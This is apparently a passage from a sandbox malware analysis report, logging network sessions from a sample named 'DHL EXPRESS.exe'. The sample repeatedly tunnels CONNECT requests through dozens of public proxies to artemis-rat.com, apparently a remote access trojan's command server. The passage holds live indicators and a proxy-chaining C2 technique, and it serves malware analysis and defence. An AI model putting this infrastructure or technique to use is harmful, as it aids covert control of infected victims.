Mar 11, 2024 18:36:45.965018034 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.049072027 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:52.052006960 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:58.064754963 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:59.126879930 CET	39	IN	HTTP/1.0 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
275	192.168.2.8	50773	134.209.29.120	3128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.965228081 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:46.266300917 CET	28	IN	HTTP/1.1 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
276	192.168.2.8	50970	104.16.104.12	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.967941046 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:46.122190952 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:46 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
277	192.168.2.8	50201	199.102.107.145	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.973261118 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
278	192.168.2.8	50731	139.99.244.154	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.973584890 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:46.706269979 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:47.753194094 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.957082033 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:54.269387007 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:58.456569910 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:02.769162893 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:11.269037962 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:28.065684080 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
279	192.168.2.8	50767	123.110.158.236	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.030539036 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
280	192.168.2.8	49900	119.28.60.64	8090	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.053647995 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:07.361270905 CET	315	IN	HTTP/1.1 400 Bad Request Server: hzg/hzg Date: Mon, 11 Mar 2024 17:36:45 GMT Content-Type: text/html Content-Length: 168 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 68 7a 67 2f 68 7a 67 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>hzg/hzg</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
281	192.168.2.8	50978	172.67.182.96	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.054090023 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:46.208389997 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:46 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
282	192.168.2.8	50707	221.6.139.190	9002	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.055095911 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:46.429718018 CET	311	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 11 Mar 2024 17:36:46 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
283	192.168.2.8	50804	89.31.143.12	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.055219889 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:46.368875980 CET	307	IN	HTTP/1.1 400 Bad Request Date: Mon, 11 Mar 2024 17:36:46 GMT Content-Type: text/html Content-Length: 150 Connection: close Server: UD Forwarding 3.1 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
284	192.168.2.8	50866	46.35.9.110	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.055627108 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
285	192.168.2.8	49966	35.237.210.215	3128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.056233883 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.196106911 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:52.206959009 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:58.300308943 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
286	192.168.2.8	50840	52.67.10.183	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.056740046 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:46.378943920 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 17:36:46 GMT Server: nginx Content-Type: text/plain Content-Length: 0
Mar 11, 2024 18:36:46.386023998 CET	177	OUT	Data Raw: 16 03 03 00 ac 01 00 00 a8 03 03 65 ef 41 2d 0c 8a f6 06 74 13 85 d2 3d 50 70 65 c9 c5 cb db 76 13 87 73 aa e9 b1 0f 24 a5 28 86 00 00 2a c0 2c c0 2b c0 30 c0 2f 00 9f 00 9e c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c Data Ascii: eA-t=Ppevs$(*,+0/$#('=<5/Uartemis-rat.com#
Mar 11, 2024 18:36:46.708549023 CET	1079	IN	Data Raw: 16 03 03 00 3d 02 00 00 39 03 03 6a cb 3d b0 ce 9d d9 93 93 7f be 4b 25 1b ca ce ce a6 d5 3c 48 82 fc f4 44 4f 57 4e 47 52 44 01 00 c0 30 00 00 11 ff 01 00 01 00 00 0b 00 04 03 00 01 02 00 17 00 00 16 03 03 02 b6 0b 00 02 b2 00 02 af 00 02 ac 30 Data Ascii: =9j=K%<HDOWNGRD0000H010Uartemis-rat.com0240311163844Z260311163844Z010Uartemis-rat.com0"0H08f2pf
Mar 11, 2024 18:36:46.745737076 CET	93	OUT	Data Raw: 16 03 03 00 25 10 00 00 21 20 77 ce 26 13 b8 ea 3b a6 a2 02 fb 82 ce 38 93 71 0d 65 91 28 f2 7e 35 41 3f 37 67 d6 cb b3 cd 6d 14 03 03 00 01 01 16 03 03 00 28 00 00 00 00 00 00 00 00 8e ca b8 c6 5f 63 4b 34 66 18 cb 18 2c 2a 93 d3 a4 31 f8 a0 f5 Data Ascii: %! w&;8qe(~5A?7gm(_cK4f,*14\|i
Mar 11, 2024 18:36:47.066720963 CET	51	IN	Data Raw: 14 03 03 00 01 01 16 03 03 00 28 52 53 a3 96 1e 00 29 45 6d ec fe 90 01 0c f0 c4 a6 b0 92 9f 30 60 e6 f6 b4 79 14 68 58 7d b6 e5 d7 b8 8e e8 ec 9e 9f cf Data Ascii: (RS)Em0`yhX}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
287	192.168.2.8	50870	47.242.234.237	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.056873083 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
288	192.168.2.8	50663	5.44.42.115	58386	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.057017088 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
289	192.168.2.8	49886	89.187.216.58	1080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.057193995 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
290	192.168.2.8	50765	45.11.95.166	6005	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.057478905 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
291	192.168.2.8	50775	159.223.71.71	56581	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.058746099 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:46.768760920 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:47.909929037 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:50.097328901 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:54.409924030 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:58.571676016 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:02.800358057 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:11.206769943 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:27.893868923 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
292	192.168.2.8	50964	194.4.50.91	12334	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.059000969 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
293	192.168.2.8	50878	122.116.150.2	9000	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.059055090 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
294	192.168.2.8	50959	162.243.102.207	9764	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.059273005 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
295	192.168.2.8	50990	45.12.30.231	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.068108082 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:46.222352982 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:46 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
296	192.168.2.8	50894	163.172.147.9	16379	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.070189953 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
297	192.168.2.8	50761	91.241.217.58	9090	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.071001053 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
298	192.168.2.8	50884	106.14.255.124	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.072572947 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
299	192.168.2.8	50750	65.1.244.232	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
